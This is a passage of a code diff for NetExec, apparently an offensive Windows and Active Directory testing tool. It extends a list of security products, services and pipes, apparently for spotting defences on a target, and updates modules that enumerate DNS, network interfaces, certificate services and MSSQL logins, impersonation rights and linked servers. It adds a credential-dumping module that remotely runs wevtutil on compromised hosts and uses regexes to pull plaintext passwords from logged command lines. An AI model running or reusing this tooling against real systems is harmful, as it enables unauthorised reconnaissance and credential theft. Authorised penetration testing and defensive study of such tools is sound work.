|
||||
"name": "Kaseya Agent Endpoint",
|
||||
"services": [
|
||||
{"name": "KAENDKSAASC*", "description": "Virtual System Administrator Endpoint"},
|
||||
{"name": "KAKSAASC*", "description": "Machine.Group ID:*"},
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "kaseyaUserKSA*", "processes": ["KaUsrTsk.exe"]},
|
||||
{"name": "kaseyaAgentKSA*", "processes": ["AgentMon.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Kaspersky Security for Windows Server",
|
||||
"services": [
|
||||
@@ -304,6 +349,18 @@ conf = {
|
||||
{"name": "Exploit_Blocker", "processes": ["kavfswh.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Malwarebytes",
|
||||
"services": [
|
||||
{"name": "MBAMService", "description": "Malwarebytes Service"},
|
||||
{"name": "MBEndpointAgent", "description": "Malwarebytes Cloud Endpoint Agent Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "MBLG", "processes": ["MBAMService.exe"]},
|
||||
{"name": "MBEA2_R", "processes": ["MBCloudEA.exe"]},
|
||||
{"name": "MBEA2_W", "processes": ["MBCloudEA.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Panda Adaptive Defense 360",
|
||||
"services": [
|
||||
@@ -338,6 +395,11 @@ conf = {
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Rapid7",
|
||||
"services": [{"name": "ir_agent", "description": "Rapid7 Insight Agent"}],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Sophos Intercept X",
|
||||
"services": [
|
||||
@@ -358,6 +420,27 @@ conf = {
|
||||
{"name": "sophoslivequery_*", "processes": [""]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Trellix Endpoint Detection and Response (EDR)",
|
||||
"services": [
|
||||
{"name": "McAfee Endpoint Security Platform Service", "description": "Trellix Core Service"},
|
||||
{"name": "mfemactl", "description": "Trellix Management Service"},
|
||||
{"name": "mfemms", "description": "McAfee Management Service"},
|
||||
{"name": "mfefire", "description": "Trellix Firewall Core Service"},
|
||||
{"name": "masvc", "description": "Trellix Agent Service"},
|
||||
{"name": "macmnsvc", "description": "Trellix Agent Common Service"},
|
||||
{"name": "mfetp", "description": "Trellix Endpoint Threat Prevention Service"},
|
||||
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
|
||||
{"name": "mfeaack", "description": "Trellix Anti-Malware Core Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "TrellixEDR_Pipe_*", "processes": ["McAfeeEDR.exe"]},
|
||||
{"name": "mfemactl_*", "processes": ["mfemactl.exe"]},
|
||||
{"name": "mfefire_*", "processes": ["mfefire.exe"]},
|
||||
{"name": "McAfeeAgent_Pipe_*", "processes": ["McAfeeAgent.exe"]},
|
||||
{"name": "mfetp_*", "processes": ["mfetp.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Trend Micro Endpoint Security",
|
||||
"services": [
|
||||
@@ -366,7 +449,10 @@ conf = {
|
||||
{"name": "Trend Micro Web Service Communicator", "description": "Trend Micro Web Service Communicator"},
|
||||
{"name": "TMiACAgentSvc", "description": "Trend Micro Application Control Service (Agent)"},
|
||||
{"name": "CETASvc", "description": "Trend Micro Cloud Endpoint Telemetry Service"},
|
||||
{"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"}
|
||||
{"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"},
|
||||
{"name": "ds_agent", "description": "Trend Micro Deep Security Agent"},
|
||||
{"name": "ds_monitor", "description": "Trend Micro Deep Security Monitor"},
|
||||
{"name": "ds_notifier", "description": "Trend Micro Deep Security Notifier"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "IPC_XBC_XBC_AGENT_PIPE_*", "processes": ["EndpointBasecamp.exe"]},
|
||||
@@ -384,6 +470,21 @@ conf = {
|
||||
{"name": "WdNisSvc", "description": "Windows Defender Antivirus Network Inspection Service"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "WithSecure Elements",
|
||||
"services": [
|
||||
{"name": "fsdevcon", "description": "WithSecure Device Control"},
|
||||
{"name": "fshoster", "description": "WithSecure Hoster"},
|
||||
{"name": "fsnethoster", "description": "WithSecure Hoster (Restricted)"},
|
||||
{"name": "fsulhoster", "description": "WithSecure Ultralight Hoster"},
|
||||
{"name": "fsulnethoster", "description": "WithSecure Ultralight Network Hoster"},
|
||||
{"name": "fsulprothoster", "description": "WithSecure Ultralight Protected Hoster"},
|
||||
{"name": "wsulavprohoster", "description": "WithSecure Ultralight Protected AV Hoster"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "FS_CCFIPC_*", "processes": ["fsatpn.exe", "fsatpl.exe", "fshoster32.exe", "fsulprothoster.exe", "fsulprothoster.exe", "fshoster64.exe", "FsPisces.exe", "fsdevcon.exe"]}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -6,6 +6,7 @@ from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket import uuid
|
||||
import requests
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -23,16 +24,15 @@ class NXCModule:
|
||||
|
||||
name = "enum_ca"
|
||||
description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
|
||||
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
|
||||
opsec_safe = True # Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
"""No options available"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.__username = connection.username
|
||||
@@ -61,7 +61,7 @@ class NXCModule:
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
rpctransport.set_dport(self.__port)
|
||||
elif self.__port in [443]:
|
||||
elif self.__port == 443:
|
||||
# Setting credentials only for RPC Proxy, but not for the MSRPC level
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
rpctransport.set_auth_type(AUTH_NTLM)
|
||||
@@ -80,13 +80,14 @@ class NXCModule:
|
||||
RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
|
||||
context.log.fail("This usually means the target does not allow "
|
||||
"to connect to its epmapper using RpcProxy.")
|
||||
return
|
||||
return
|
||||
|
||||
for entry in entries:
|
||||
tmpUUID = str(entry["tower"]["Floors"][0])
|
||||
|
||||
if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
|
||||
exename = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
|
||||
context.log.debug("EXEs %s" % exename)
|
||||
context.log.debug(f"EXEs {exename}")
|
||||
if exename == "certsrv.exe":
|
||||
context.log.highlight("Active Directory Certificate Services Found.")
|
||||
url = f"http://{connection.host}/certsrv/certfnsh.asp"
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
from datetime import datetime
|
||||
from nxc.helpers.logger import write_log
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -11,8 +13,7 @@ class NXCModule:
|
||||
name = "enum_dns"
|
||||
description = "Uses WMI to dump DNS from an AD DNS Server"
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
@@ -34,7 +35,7 @@ class NXCModule:
|
||||
else:
|
||||
domains = [self.domains]
|
||||
data = ""
|
||||
|
||||
|
||||
for domain in domains:
|
||||
output = connection.wmi(
|
||||
f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}",
|
||||
@@ -50,7 +51,7 @@ class NXCModule:
|
||||
rname = text.split(" ")[0]
|
||||
rtype = text.split(" ")[2]
|
||||
rvalue = " ".join(text.split(" ")[3:])
|
||||
if domain_data.get(rtype, False):
|
||||
if domain_data.get(rtype):
|
||||
domain_data[rtype].append(f"{rname}: {rvalue}")
|
||||
else:
|
||||
domain_data[rtype] = [f"{rname}: {rvalue}"]
|
||||
@@ -64,4 +65,4 @@ class NXCModule:
|
||||
|
||||
log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
|
||||
write_log(data, log_name)
|
||||
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
|
||||
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
|
||||
@@ -0,0 +1,49 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Enumerate SQL Server users with impersonation rights
|
||||
Module by deathflamingo
|
||||
"""
|
||||
|
||||
name = "enum_impersonate"
|
||||
description = "Enumerate users with impersonation privileges"
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
self.context = None
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
impersonate_users = self.get_impersonate_users()
|
||||
if impersonate_users:
|
||||
self.context.log.success("Users with impersonation rights:")
|
||||
for user in impersonate_users:
|
||||
self.context.log.display(f" - {user}")
|
||||
else:
|
||||
self.context.log.fail("No users with impersonation rights found.")
|
||||
|
||||
def get_impersonate_users(self) -> list:
|
||||
"""
|
||||
Fetches a list of users with impersonation rights.
|
||||
|
||||
Returns
|
||||
-------
|
||||
list: List of user names.
|
||||
"""
|
||||
query = """
|
||||
SELECT DISTINCT b.name
|
||||
FROM sys.server_permissions a
|
||||
INNER JOIN sys.server_principals b
|
||||
ON a.grantor_principal_id = b.principal_id
|
||||
WHERE a.permission_name LIKE 'IMPERSONATE%'
|
||||
"""
|
||||
res = self.mssql_conn.sql_query(query)
|
||||
return [user["name"] for user in res] if res else []
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
@@ -0,0 +1,95 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import contextlib
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry'
|
||||
Formerly --interfaces parameter
|
||||
Made by: @Sant0rryu, @NeffIsBack
|
||||
"""
|
||||
|
||||
name = "enum_interfaces"
|
||||
description = "Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry (formerly --interfaces)"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = False
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = {}
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
"""Execute network interface enumeration on authenticated SMB connection"""
|
||||
self.context = context
|
||||
|
||||
try:
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
|
||||
if remoteOps._RemoteOperations__rrp:
|
||||
reg_handle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces")["phkResult"]
|
||||
sub_key_list = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
|
||||
sub_keys = [rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, key_handle, i)["lpNameOut"][:-1] for i in range(sub_key_list)]
|
||||
|
||||
context.log.highlight(f"{'-Name-':<11} | {'-IP Address-':<15} | {'-SubnetMask-':<15} | {'-Gateway-':<15} | -DHCP-")
|
||||
for sub_key in sub_keys:
|
||||
interface = {}
|
||||
try:
|
||||
interface_key = f"SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\{sub_key}"
|
||||
interface_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_key)["phkResult"]
|
||||
|
||||
# Retrieve Interace Name
|
||||
interface_name_key = f"SYSTEM\\ControlSet001\\Control\\Network\\{{4D36E972-E325-11CE-BFC1-08002BE10318}}\\{sub_key}\\Connection"
|
||||
interface_name_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_name_key)["phkResult"]
|
||||
interface_name = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_name_handle, "Name")[1].rstrip("\x00")
|
||||
interface["Name"] = str(interface_name)
|
||||
if "Kernel" in interface_name:
|
||||
continue
|
||||
|
||||
# Retrieve DHCP
|
||||
try:
|
||||
dhcp_enabled = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "EnableDHCP")[1]
|
||||
except DCERPCException:
|
||||
dhcp_enabled = False
|
||||
interface["DHCP"] = bool(dhcp_enabled)
|
||||
|
||||
# Retrieve IPAddress
|
||||
try:
|
||||
ip_address = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpIPAddress" if dhcp_enabled else "IPAddress")[1].rstrip("\x00").replace("\x00", ", ")
|
||||
except DCERPCException:
|
||||
ip_address = None
|
||||
interface["IPAddress"] = ip_address if ip_address else None
|
||||
|
||||
# Retrieve SubnetMask
|
||||
try:
|
||||
subnetmask = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "SubnetMask")[1].rstrip("\x00").replace("\x00", ", ")
|
||||
except DCERPCException:
|
||||
subnetmask = None
|
||||
interface["SubnetMask"] = subnetmask if subnetmask else None
|
||||
|
||||
# Retrieve DefaultGateway
|
||||
try:
|
||||
default_gateway = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpDefaultGateway")[1].rstrip("\x00").replace("\x00", ", ")
|
||||
except DCERPCException:
|
||||
default_gateway = None
|
||||
interface["DefaultGateway"] = default_gateway if default_gateway else None
|
||||
|
||||
context.log.highlight(f"{interface['Name']:<11} | {interface['IPAddress']!s:<15} | {interface['SubnetMask']!s:<15} | {interface['DefaultGateway']!s:<15} | {interface['DHCP']}")
|
||||
|
||||
except DCERPCException as e:
|
||||
context.log.info(f"Failed to retrieve the network interface info for {sub_key}: {e!s}")
|
||||
|
||||
with contextlib.suppress(Exception):
|
||||
remoteOps.finish()
|
||||
except DCERPCException as e:
|
||||
context.log.error(f"Failed to connect to the target: {e!s}")
|
||||
@@ -0,0 +1,55 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Enumerate SQL Server linked servers
|
||||
Module by deathflamingo, NeffIsBack
|
||||
"""
|
||||
|
||||
name = "enum_links"
|
||||
description = "Enumerate linked SQL Servers and their login configurations."
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
self.context = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
linked_servers = self.get_linked_servers()
|
||||
if linked_servers:
|
||||
self.context.log.success("Linked servers found:")
|
||||
for server in linked_servers:
|
||||
self.context.log.display(f" - {server}")
|
||||
else:
|
||||
self.context.log.fail("No linked servers found.")
|
||||
|
||||
if connection.admin_privs:
|
||||
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
|
||||
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
|
||||
if not srvs:
|
||||
self.context.log.fail("No linked servers found.")
|
||||
return
|
||||
self.context.log.success("Linked servers found:")
|
||||
for srv in srvs:
|
||||
self.context.log.display(f"Linked server: {srv['Linked Server']}")
|
||||
self.context.log.display(f" - Local login: {srv['Local Login']}")
|
||||
self.context.log.display(f" - Remote login: {srv['Remote Login']}")
|
||||
|
||||
def get_linked_servers(self) -> list:
|
||||
"""
|
||||
Fetches a list of linked servers.
|
||||
|
||||
Returns
|
||||
-------
|
||||
list: List of linked server names.
|
||||
"""
|
||||
query = "EXEC sp_linkedservers;"
|
||||
res = self.mssql_conn.sql_query(query)
|
||||
return [server["SRV_NAME"] for server in res] if res else []
|
||||
@@ -0,0 +1,87 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Enumerate SQL Server logins (SQL, Domain, Local users)
|
||||
Module by deathflamingo, modified by mpgn
|
||||
"""
|
||||
|
||||
name = "enum_logins"
|
||||
description = "Enumerate SQL Server logins (SQL, Domain, Local users)"
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
self.context = None
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
|
||||
logins = self.get_logins()
|
||||
if logins:
|
||||
self.context.log.display("Enumerated logins")
|
||||
self.context.log.highlight(f"{'Login Name':<35} {'Type':<15} {'Status'}")
|
||||
self.context.log.highlight(f"{'----------':<35} {'----':<15} {'------'}")
|
||||
for login_name, login_type, status in logins:
|
||||
self.context.log.highlight(f"{login_name:<35} {login_type:<15} {status}")
|
||||
else:
|
||||
self.context.log.fail("No logins found.")
|
||||
|
||||
def get_domain_name(self) -> str:
|
||||
query = "SELECT DEFAULT_DOMAIN() as domain_name;"
|
||||
try:
|
||||
res = self.mssql_conn.sql_query(query)
|
||||
if res and res[0].get("domain_name"):
|
||||
return res[0]["domain_name"].upper()
|
||||
return ""
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Error querying domain name: {e}")
|
||||
return ""
|
||||
|
||||
def get_logins(self) -> list:
|
||||
domain_name = self.get_domain_name()
|
||||
domain_prefix = f"{domain_name}\\" if domain_name else ""
|
||||
|
||||
query = f"""
|
||||
SELECT
|
||||
name,
|
||||
type,
|
||||
type_desc,
|
||||
CASE type_desc
|
||||
WHEN 'SQL_LOGIN' THEN 'SQL User'
|
||||
WHEN 'WINDOWS_LOGIN' THEN
|
||||
CASE
|
||||
WHEN name LIKE '{domain_prefix}%' THEN 'Domain User'
|
||||
WHEN name LIKE '%\\%' THEN 'Local User'
|
||||
ELSE 'Local User'
|
||||
END
|
||||
WHEN 'WINDOWS_GROUP' THEN 'Windows Group'
|
||||
WHEN 'CERTIFICATE_MAPPED_LOGIN' THEN 'Certificate Login'
|
||||
WHEN 'ASYMMETRIC_KEY_MAPPED_LOGIN' THEN 'Asymmetric Key Login'
|
||||
ELSE type_desc
|
||||
END as login_type,
|
||||
is_disabled,
|
||||
create_date
|
||||
FROM sys.server_principals
|
||||
WHERE type IN ('S', 'U', 'G', 'C', 'K')
|
||||
AND name NOT LIKE '##%'
|
||||
ORDER BY login_type, name;
|
||||
"""
|
||||
try:
|
||||
res = self.mssql_conn.sql_query(query)
|
||||
if res:
|
||||
logins = []
|
||||
for login in res:
|
||||
status = "DISABLED" if login.get("is_disabled") else "ENABLED"
|
||||
logins.append((login["name"], login["login_type"], status))
|
||||
return logins
|
||||
return []
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Error querying logins: {e}")
|
||||
return []
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
@@ -1,4 +1,5 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -8,79 +9,12 @@ class NXCModule:
|
||||
"""
|
||||
|
||||
name = "enum_trusts"
|
||||
description = "Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
|
||||
description = "[REMOVED] Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
search_filter = "(&(objectClass=trustedDomain))"
|
||||
attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"]
|
||||
|
||||
context.log.debug(f"Search Filter={search_filter}")
|
||||
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
|
||||
|
||||
trusts = []
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
flat_name = ""
|
||||
trust_partner = ""
|
||||
trust_direction = ""
|
||||
trust_transitive = []
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "flatName":
|
||||
flat_name = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "trustPartner":
|
||||
trust_partner = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "trustDirection":
|
||||
if str(attribute["vals"][0]) == "1":
|
||||
trust_direction = "Inbound"
|
||||
elif str(attribute["vals"][0]) == "2":
|
||||
trust_direction = "Outbound"
|
||||
elif str(attribute["vals"][0]) == "3":
|
||||
trust_direction = "Bidirectional"
|
||||
elif str(attribute["type"]) == "trustAttributes":
|
||||
trust_attributes_value = int(attribute["vals"][0])
|
||||
if trust_attributes_value & 0x1:
|
||||
trust_transitive.append("Non-Transitive")
|
||||
if trust_attributes_value & 0x2:
|
||||
trust_transitive.append("Uplevel-Only")
|
||||
if trust_attributes_value & 0x4:
|
||||
trust_transitive.append("Quarantined Domain")
|
||||
if trust_attributes_value & 0x8:
|
||||
trust_transitive.append("Forest Transitive")
|
||||
if trust_attributes_value & 0x10:
|
||||
trust_transitive.append("Cross Organization")
|
||||
if trust_attributes_value & 0x20:
|
||||
trust_transitive.append("Within Forest")
|
||||
if trust_attributes_value & 0x40:
|
||||
trust_transitive.append("Treat as External")
|
||||
if trust_attributes_value & 0x80:
|
||||
trust_transitive.append("Uses RC4 Encryption")
|
||||
if trust_attributes_value & 0x100:
|
||||
trust_transitive.append("Cross Organization No TGT Delegation")
|
||||
if trust_attributes_value & 0x2000:
|
||||
trust_transitive.append("PAM Trust")
|
||||
if not trust_transitive:
|
||||
trust_transitive.append("Other")
|
||||
trust_transitive = ", ".join(trust_transitive)
|
||||
|
||||
if flat_name and trust_partner and trust_direction and trust_transitive:
|
||||
trusts.append((flat_name, trust_partner, trust_direction, trust_transitive))
|
||||
except Exception as e:
|
||||
context.log.debug(f"Cannot process trust relationship due to error {e}")
|
||||
|
||||
if trusts:
|
||||
context.log.success("Found the following trust relationships:")
|
||||
for trust in trusts:
|
||||
context.log.highlight(f"{trust[1]} -> {trust[2]} -> {trust[3]}")
|
||||
else:
|
||||
context.log.display("No trust relationships found")
|
||||
|
||||
return True
|
||||
context.log.fail("[REMOVED] This module moved to the --dc-list LDAP flag.")
|
||||
@@ -0,0 +1,224 @@
|
||||
import re
|
||||
from impacket.dcerpc.v5 import transport, even6
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from impacket.dcerpc.v5.epm import hept_map
|
||||
from nxc.helpers.even6_parser import ResultSet
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by @lodos2005
|
||||
This module extracts credentials from Windows logs. It uses Security Event ID: 4688 and SYSMON logs.
|
||||
"""
|
||||
name = "eventlog_creds"
|
||||
description = "Extracting Credentials From Windows Logs (Event ID: 4688 and SYSMON)"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
self.method = "execute"
|
||||
self.limit = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
METHOD EventLog method (Execute or RPCCALL), default: execute
|
||||
M Alias for METHOD
|
||||
LIMIT Limit of the number of records to be fetched, default: unlimited
|
||||
L Alias for LIMIT
|
||||
"""
|
||||
if "METHOD" in module_options:
|
||||
self.method = module_options["METHOD"]
|
||||
if "M" in module_options:
|
||||
self.method = module_options["M"]
|
||||
if "LIMIT" in module_options:
|
||||
self.limit = int(module_options["LIMIT"])
|
||||
if "L" in module_options:
|
||||
self.limit = int(module_options["L"])
|
||||
|
||||
def find_credentials(self, content, context):
|
||||
# remove unnecessary words
|
||||
content = content.replace("\r\n", "\n")
|
||||
|
||||
# sort and unique lines
|
||||
content = "\n".join(sorted(set(content.split("\n"))))
|
||||
|
||||
regexps = [
|
||||
# "C:\Windows\system32\net.exe" user /add lodos2005 123456 /domain
|
||||
r"net.+user\s+(?P<username>[^\s]+)\s+(?P<password>[^\s]+)",
|
||||
# "C:\Windows\system32\net.exe" use \\server\share /user:contoso\lodos2005 password
|
||||
r"net.+use.+/user:(?P<username>[^\s]+)\s+(?P<password>[^\s]+)",
|
||||
# schtasks.exe /CREATE /S 192.168.20.05 /RU SYSTEM /U lodos2005@contoso /P "123456" /SC ONCE /ST 20:05 /TN Test /TR hostname /F
|
||||
r"schtasks.+/U\s+(?P<username>[^\s]+).+/P\s+(?P<password>[^\s]+)",
|
||||
# wmic.exe /node:192.168.20.05 /user:lodos2005@contoso /password:123456 computersystem get
|
||||
r"wmic.+/user:\s*(?P<username>[^\s]+).+/password:\s*(?P<password>[^\s]+)",
|
||||
# psexec \\192.168.20.05 -u lodos2005@contoso -p 123456 hostname
|
||||
r"psexec.+-u\s+(?P<username>[^\s]+).+-p\s+(?P<password>[^\s]+)",
|
||||
# generic username on command line
|
||||
r"(?:(?:(?:-u)|(?:-user)|(?:-username)|(?:--user)|(?:--username)|(?:/u)|(?:/USER)|(?:/USERNAME))(?:\s+|\:)(?P<username>[^\s]+))",
|
||||
# generic password on command line
|
||||
r"(?:(?:(?:-p)|(?:-password)|(?:-passwd)|(?:--password)|(?:--passwd)|(?:/P)|(?:/PASSWD)|(?:/PASS)|(?:/CODE)|(?:/PASSWORD))(?:\s+|\:)(?P<password>[^\s]+))",
|
||||
]
|
||||
# Extracting credentials
|
||||
for line in content.split("\n"):
|
||||
for reg in regexps:
|
||||
# Remove unnecessary words
|
||||
line_stripped = line.replace("/add", "") \
|
||||
.replace("/active:yes", "") \
|
||||
.replace("/delete", "") \
|
||||
.replace("/domain", "") \
|
||||
# Remove command lines that were executed with nxc
|
||||
line_stripped = re.sub(r"1> \\Windows\\Temp\\[\w]{6} 2>&1", "", line_stripped)
|
||||
|
||||
# Use regex to find credentials
|
||||
match = re.search(reg, line_stripped, re.IGNORECASE)
|
||||
if match:
|
||||
# eleminate false positives
|
||||
# C:\Windows\system32\svchost.exe -k DcomLaunch -p -s PlugPlay
|
||||
if not match.groupdict().get("username") and match.groupdict().get("password") and len(match.group("password")) < 6:
|
||||
# if password is found but username is not found, and password is shorter than 6 characters, ignore it
|
||||
continue
|
||||
if not match.groupdict().get("password") and match.groupdict().get("username"):
|
||||
# if username is found but password is not found. we need? ignore it
|
||||
continue
|
||||
# C:\Windows\system32\RunDll32.exe C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m /0
|
||||
if match.groupdict().get("username") and match.groupdict().get("password") and len(match.group("password")) < 6 and len(match.group("username")) < 6:
|
||||
# if username and password is shorter than 6 characters, ignore it
|
||||
continue
|
||||
|
||||
context.log.highlight("Credentials found! " + line.strip())
|
||||
if match.groupdict().get("username"):
|
||||
context.log.highlight("Username: " + match.group("username"))
|
||||
if match.groupdict().get("password"):
|
||||
context.log.highlight("Password: " + match.group("password"))
|
||||
break
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
content = ""
|
||||
if self.method.lower().startswith("e"):
|
||||
limit_str = f"/c:{self.limit}" if self.limit is not None else ""
|
||||
# https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4688
|
||||
commands = [
|
||||
f'wevtutil qe Microsoft-Windows-Sysmon/Operational {limit_str} /f:text /rd:true /q:"*[System[(EventID=1)]]" | findstr "ParentCommandLine"',
|
||||
f'wevtutil qe Security {limit_str} /f:text /rd:true /q:"*[System[(EventID=4688)]]" | findstr "Command Line"',
|
||||
]
|
||||
for command in commands:
|
||||
context.log.debug("Execute Command: " + command)
|
||||
content += connection.execute(command, True)
|
||||
else:
|
||||
msevenclass = MSEven6Trigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
msevenclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
